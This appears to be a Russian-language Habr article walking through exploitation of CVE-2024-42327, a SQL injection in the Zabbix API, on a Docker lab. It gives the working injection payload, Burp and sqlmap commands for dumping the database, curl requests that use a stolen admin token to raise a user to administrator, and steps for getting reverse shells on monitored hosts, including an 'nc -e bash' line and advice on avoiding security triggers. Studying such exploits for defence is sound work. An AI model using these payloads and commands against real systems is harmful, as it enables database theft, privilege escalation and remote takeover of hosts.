Разбор CVE-2024-42327, Zabbix

В недавнем времени выдалась возможность поковыряться с SQL injection в Zabbix (— свободная система мониторинга статусов разнообразных сервисов компьютерной сети, серверов и сетевого оборудования, написанная Алексеем Владышевым).

Увидел несколько статьей на эту тему, которые кажется писал один и тот же человек, вкратце раскрыв детали уязвимости. Огромная благодарность этому человеку (или человекам), однако без дополнительного анализа и поиска информации не обошлось.

Статья — больше как инструкция для возможностей проверки и тестирования уязвимости. С использованием не только Burp, но и sqlmap, API самого Zabbix’a и найденные в открытом источнике эксплоиты.

Поехали!

SQL injection в API, edpoint user.get
Уязвимые версии Zabbix
6.0.0 — 6.0.31 (так же кажется где-то видел, что до 6.0.36 версии)
6.4.0 — 6.4.16
7.0.0

Подготовка

Приступим к установке zabbix необходимой для нас версии (ubuntu-6.0.1)

sudo apt install docker docker.io docker-compose
docker network create --subnet 172.20.0.0/16 --ip-range 172.20.240.0/20 zabbix-net
docker run --name mysql-server -t \
-e MYSQL_DATABASE="zabbix" \
-e MYSQL_USER="zabbix" \
-e MYSQL_PASSWORD="zabbix_pwd" \
-e MYSQL_ROOT_PASSWORD="root_pwd" \
--network=zabbix-net \
--restart unless-stopped \
-d mysql:8.0 \
--character-set-server=utf8 --collation-server=utf8_bin \
--default-authentication-plugin=mysql_native_password
docker run --name zabbix-java-gateway -t \
--network=zabbix-net \
--restart unless-stopped \
-d zabbix/zabbix-java-gateway:ubuntu-6.0.1
docker run --name zabbix-server-mysql -t \
-e DB_SERVER_HOST="mysql-server" \
-e MYSQL_DATABASE="zabbix" \
-e MYSQL_USER="zabbix" \
-e MYSQL_PASSWORD="zabbix_pwd" \
-e MYSQL_ROOT_PASSWORD="root_pwd" \
-e ZBX_JAVAGATEWAY="zabbix-java-gateway" \
--network=zabbix-net \
-p 10051:10051 \
--restart unless-stopped \
-d zabbix/zabbix-server-mysql:ubuntu-6.0.1
docker run --name zabbix-web-nginx-mysql -t \
-e ZBX_SERVER_HOST="zabbix-server-mysql" \
-e DB_SERVER_HOST="mysql-server" \
-e MYSQL_DATABASE="zabbix" \
-e MYSQL_USER="zabbix" \
-e MYSQL_PASSWORD="zabbix_pwd" \
-e MYSQL_ROOT_PASSWORD="root_pwd" \
--network=zabbix-net \
-p 80:8080 \
--restart unless-stopped \
-d zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.1

Default web login and pass: Admin/zabbix

Предполагаем, что найденные креды пользователя имеют минимальные права в Zabbix.
Для чистоты эксперимента создадим тестовую группу «Users groups». Группа «Guest» нам не подойдет, потому как «Fronted access» у нее в дефолтном состоянии выставлен на «Internal». Так же бы нам подошла группа «Zabbix Administrators» & группа дебага.

3af25b8453d21d7e5bfefb5fdef53b0c.png

Перейдем к созданию роли. Оставим минимум доступа и обязательно доступ к API. (По дефолту выставляется чуть больше доступа, но предположим, что найденные креды постарались максимально ограничить)

453a1b0ca2b64f14c8044aa309257253.png

Тестовые креды:
test_cve
p2ssw0rd123

1006fed9fb72cd2ccda530b76375695d.png

Тестирование

Burp

Подготовка стенда завершена. Приступим тестированию уязвимости
Для начала откроем Burp и обратимся на api_jsonrpc.php для получения сессионного токена

{
"jsonrpc":"2.0",
"method":"user.login",
"params":{
"username":"test_cve",
"password":"p2ssw0rd123"
},
"id":1
}

95fa8d07939a5b58f354e1e6894b2b1b.png

Далее говорится про SQLi Time-based blind в эндпоинте user.get, попробуем обратится к нему:
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"roleid",
"name",
"type",
"readonly AND (SELECT(SLEEP(5)))"
],
"userids": [
"1",
"2"
]
},
"id": 1,
"auth": "d5a70c4b476e176ad5891ad1a2341e1c"
}

1714f569c77f082551de3229ecf8968e.png


Выходит наш payload сработал. Уязвимость действительно присутствует.
Далее можем сформировать пейлоад AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_') и вычислить количество символов в наименовании БД.
После чего, отправить запрос в Intruder и перебирать каждый символ, пока не получим название БД
Intruder → Sniper attack → Payload type: Brute force → Character set (цифры/буквы) → min\max lenght =1 → Выделить необходимый символ поиска

6d8277490082a58701468b9fd5775298.png

SQLmap

Отлично, это все очень круто, но вручную подобное проверять будет достаточно проблематично.
Скопируем запрос из репитера в текстовый файл например sqli_zabb_post_req.txt и попробуем скормить sqlmap, например попробуем прочитать баннер:
SQLMap возможно не лучшее решение в продуктовой среде, но на тестовом стенде можем попробовать его.
sqlmap -r sqli_zabb_post_req.txt --technique=T -b --time-sec 3

7716f1f44b46790755f6d0317a123d56.png

Отлично, теперь мы можем бить более точечно указав тип БД и идти дальше. Наименование БД нам тоже известно «zabbix» из теста с Burp.
Попробуем достать с БД всю информацию:
sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all
Но в данном случае это будет очень долго. Как вариант добавить больше данных, чтобы сократить время поиска.

API zabbix + scripts python or curl

А пока sqlmap работает, попробуем подойти к вопросу с другой стороны.
Составим запрос, для проверки версии Zabbix:

Просмотрев слегка документацию по API нашел необходимый запрос
Запрос версии
(linux):
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"apiinfo.version","params":[],"id":1}'
(windows):
curl -X POST -k https://ip_address/api_jsonrpc.php -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}"

В случае, если API доступен, нам выдаст версию Zabbix без учетных данных

В случае, если API доступен, нам выдаст версию Zabbix без учетных данных

Запрос на вход API:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"test_cve","password":"p2ssw0rd123"},"id":1}'
Дополнительно в открытом источнике нашел PoC до RCE
Источник: https://github.com/BridgerAlderson/Zabbix-CVE-2024–42327-SQL-Injection-RCE
Однако опробовав предоставленный скрипт, RCE получить не удалось, все же в скрипте присутствует возможность извлечь session token админа.
Поэтому для начала проанализируем предоставленный код и удалим со скрипта лишнее (функции рев шела, ввод л.адреса и л.порта).
Предполагается, что с хоста, с которого выполняется атака есть необходимые библиотеки (их минимум) и Python.

Двигаемся дальше. Получив сессионный токен админа можем попробовать повысить свои привилегии с помощью API, чтобы получить полный доступ в веб интерфейсе Zabbix’a.

Повышение роли тестового пользователя через API

Покопавшись немного в документации, нашел возможность сменить роль нашего пользователя
Например получение списка пользователей с параметрами:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}' | grep "test_cve"

c5cd739f385c2aee02ea4efe7cfccbdf.png


Из этой информации нам нужно извлечь userid нашего пользователя «test_cve» и его roleid (userid:3 & roleid:5)
И в дополнении администратора (userid:1 & roleid:3)

daa6837663fff7d7d63ca0a4db74d018.png


Теперь попробуем сменить роль нашего пользователя
Запрос (используется auth токен администратор):
curl -X POST -k http:/ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3", "roleid":"3"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}'
Ответ
{«jsonrpc»:»2.0», «result»:{«userids»:[»3»]}, «id»:1}
Роль успешно сменилась, теперь наш пользователь с ролью администратора и ему доступны все функции в веб интерфейсе

13bd55f0d45e3594d0263c025e085e4b.png

Горизонтальное перемещение

LDAP

Далее можем зайти в настройки LDAP, ничего не меняя отправить запрос на обновление и отловить запрос c чем-то похожим на JWT токен:

4a9b65903feee1773648c190b4d72b8b.png

Попробовав декодировать данный токен (на jwt.io), можем получить необходимые данные и развить атаку дальше:

52b6003ca708061018b8b0c409644b25.png


Конечно же, этот вариант уместен в случае если настроен LDAP

Удаленное выполнение скриптов с помощью Zabbix

Теперь опробуем удаленное выполнение скриптов (подразумеваем, что на удаленном сервере настроена возможность удаленного выполнения команд):
Задаем имя скрипта → Type: Script → Execute on (выбираем где данный скрипт будет исполняться) → Commands и вставляем сам скрипт (брал стандартный Python3 на revshells.com, можно конечно же использовать что-то вида «nc -e bash ip_address port», но nc/ncat может быть не на всех хостах, к тому же у команды безопасности может быть настроен тригер на nc/ncat, считаю что python/python3 кажется более легитимным)

c2346fa05e0faaef4550a300464b151c.png

После чего перемещаемся в «Actions» добавляем условия и операции

8269d9a66f29cd632fdefa7a04327f0f.png

Теперь если агенты у нас пассивные, удаленное исполнение команд работает и мы все правильно настроили (/etc/zabbix/zabbix_agentd.conf, строка ServerActive закомментирована и имеется строка «EnableRemoteCommands=1»), то мы должны поймать запрос от удаленного хоста и получить rev shell

208af632589e58b94c4b597934e61451.png

И вот наш шел сработал

55d0792e48d77ed260880bfd63f5a11d.png

Делаем вывод, что получив доступ до пользователя заббикса с ролью суперадмина (или любой другой, позволяющей создавать скрипты), мы можем получать удаленные доступы до других хостов под управлением заббикс, при наличии исполнения команд на удаленных хостах.

Дополнительно опробую возможность отправки скриптов с помощью API:

  1. Получим токен curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"test_cve", "password":"p2ssw0rd123"},"id":1}'

    9237685cea08520e7385a27ffc2306ec.png
  2. Получение информации о узле по имени (выделим hostid:10516) curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"host.get","params":{"filter": {"host": ["hostname"]} },"auth":"fc523f26d819f5cccddcd830675514b5","id":1}'

    85e276256d26452788a125d92ec5e572.png
  3. Получение списка скриптов: curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.get","params":{"output":"extend"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}' Выделяем нужный нам scriptid (scriptid:5)

    7444ad7b20490dd428d41feae108414d.png
  4. И нам выдаст ошибку {«jsonrpc»:»2.0», «error»:{«code»:-32500, «message»: «Application error.», «data»: «Script is not allowed in manual host action: scope:1»}, «id»:1}

    92635b14cf1eec780ec37b240a83b9c2.png

    Потому как при создании скрипта мы не указали ручное включение во вкладке скоуп Поэтому для теста создал клон нашего предыдущего скрипта, изменив скоуп.

    034fd4aa29f3e8a733fc705e5643ca83.png

    Изменив scriptid наш запрос выполнился curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.execute","params":{"scriptid":"6", "hostid":"10516"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}'

    fd4f6ee340650303d4622301447628e2.png

    Правда соединение было не долгим, поэтому лучше запускать скрипт в веб, с действием.

    e94feb9da81daa5b19abd65ff786b66b.png

На этом все, благодарю за внимание!

В дополнение:
Nuclei
Несколько часов после изучения, удалось написать что-то похожее на шаблон для поиска версий Zabbix:

12a03ae6657ba9c8734e193db169e818.png59a667a484a423e6a691aea42289b9bc.png

Однако при запуске nuclei -u http://ip_address -t zabbix_cve_template.yaml — debug мне выдало очередное сообщение об ошибке:

295716fc7e24da826cb435873bf7f7e1.png

Буду максимально благодарен, если кто-то подскажет молодому, что именно не так в шаблоне.

Отдельная благодарность статье, которая позволила разобраться с CVE, и ее автору @denis-19

© Habrahabr.ru